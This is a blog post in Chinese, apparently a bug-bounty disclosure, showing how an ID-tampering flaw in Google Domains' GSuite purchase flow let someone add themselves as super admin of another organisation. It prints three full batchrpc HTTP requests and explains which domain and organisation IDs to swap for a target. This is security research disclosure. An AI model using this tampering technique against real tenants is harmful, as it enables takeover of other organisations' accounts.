如何通过漏洞成为他人Gsuite组织的超级管理员

本文详细介绍了通过Google域名管理平台的漏洞,能够将任意用户添加为其他组织的Gsuite超级管理员的技术细节,包括完整的HTTP请求和操作步骤。

成为他人Gsuite组织超级管理员并接管的方法

大家好!好久没在这里发帖了 :)

正如大多数人所知,我计划撰写多年来通过微软漏洞赏金计划完成的研究。仍在尝试确定最佳的撰写方法和报告。但与此同时,我将提供一些多年来在Google上的研究成果。

微软和Google是我多年来主要参与的两个项目,Google的项目也产生了一些富有成果的研究 :)

因此,今天我将介绍如何将自己添加为他人Gsuite账户的超级管理员。

概念验证

对于那些不了解的人,Gsuite是Google为组织和教育机构等提供的一套产品。它类似于微软的O365。在Gsuite中,组织的主要管理员是超级管理员。他们拥有对所有内容的超级管理员权限。他们可以创建组、管理用户、更改用户密码、管理一切。重要的是,一个组织中不应该有太多超级管理员,因为超级管理员越多,超级管理员账户被入侵的机会就越高。

但是,如果您可以在任何人的Gsuite组织中创建一个超级管理员账户呢? 如果您可以将自己添加到任何Gsuite组织并使自己成为超级管理员呢?

这就是旅程开始的地方。

您看,Google有一个名为domains.google.com的功能。它只是一个由Google托管和运营的注册商。在上面,他们有一个功能,让您创建Gsuite订阅,并可以在domains.google.com内进行管理。因此,在通过domains.google.com创建Gsuite订阅后,现在通过该平台进行管理。您可以管理用户、添加超级管理员、管理付款方式等。

我相信您现在应该知道这个问题的发展方向了 ;)

因此,当通过domains.google.com将用户添加到您的Gsuite组织时,会启动一个过程并运行多个请求。其工作方式是:通过domains.google.com将用户添加为管理员,发送添加用户的请求,domains.google.com付款门户打开,供您支付正在添加的这个新用户。如果您检查请求并放入正确的ID,这将允许您将任何管理员添加到任何Gsuite组织。

因此,在您的domains.google.com域上添加管理员到Gsuite账户时,运行了3个请求。

第一个请求是:

1
2
3
4
5
POST /batchrpc HTTP/1.1
Host: domains.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":72,\"2\":{},\"74\":{\"1\":\"5896212\",\"2\":\"testdomain4534.com\",\"3\":[{\"2\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2}}],\"4\":1}}}","xsrf":""}

第二个请求是:

1
2
3
4
5
POST /batchrpc HTTP/1.1
Host: domains.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":38,\"2\":{},\"40\":{\"1\":{\"1\":\"3703203\",\"3\":[{\"1\":6,\"7\":{\"1\":\"testdomain4534.com\",\"4\":2,\"6\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2},\"13\":\"5896212\"}}],\"5\":\"en-US\"},\"2\":\"USD\"}}}","xsrf":""}

第三个请求是:

1
2
3
4
5
POST /batchrpc HTTP/1.1
Host: domains.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":11,\"2\":{},\"13\":{\"1\":{\"1\":\"3703203\",\"3\":[{\"1\":6,\"7\":{\"1\":\"testdomain4534.com\",\"2\":{\"1\":\"USD\",\"2\":\"0\"},\"4\":2,\"6\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2},\"8\":{\"1\":\"USD\",\"2\":\"10000000\"},\"9\":{\"1\":{\"1\":\"USD\",\"2\":\"5000000\"},\"2\":{\"1\":\"USD\",\"2\":\"0\"},\"3\":0},\"13\":\"5896212\"},\"8\":{\"2\":{}}}],\"5\":\"en-US\"},\"2\":\"USD\",\"4\":1,\"9\":\"US\",\"10\":0}}}","xsrf":""}

如您所见,这3个请求正在将名为1337baby的用户添加到testdomain4534.com的Gsuite组织中。

在概念验证中,我们正在向我没有访问权限的amazingpotato Gsuite组织添加一个用户。

要做到这一点,需要两件事。

首先,您需要Gsuite组织的域,即amazingpotato.org。 然后是您目标的Gsuite组织的ID,在这种情况下是25879957。

因此,为了做到这一点,只需取上面链接的请求,首先将域testdomain4534.com替换为amazingpotato.org作为您的域。

用户ID部分可能很棘手。基本上,在请求中,一个区域要么有域/Gsuite所有者的用户ID,然后是实际进行购买的用户ID。

1
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":72,\"2\":{},\"74\":{\"1\":\"5896212\",\"2\":\"testdomain4534.com\",\"3\":[{\"2\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2}}],\"4\":1}}}","xsrf":"ACJTu_66_XziDuNee2rpFECvfcBn_3mYWg:1526402883203"}

例如,在这个部分中,这个ID 5895212可以被替换为您目标的其他Gsuite组织ID,因此请求将如下所示:

1
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":72,\"2\":{},\"74\":{\"1\":\"25879957\",\"2\":\"amazingpotato.org\",\"3\":[{\"2\":{\"1\":\"amazingpotato.org\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2}}],\"4\":1}}}","xsrf":"ACJTu_66_XziDuNee2rpFECvfcBn_3mYWg:1526402883203"}

请记住,这只是第一个请求。 您需要替换所有3个请求才能使其工作。

因此,上面提到的其他两个请求(第二个和第三个请求),您也需要替换并放入正确的信息。

在您放入正确的ID后,会弹出一个窗口,显示为amazingpotato.org购买此用户。 购买后,超级管理员被添加到他们的组织,账户的密码会发送到您的电子邮件。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计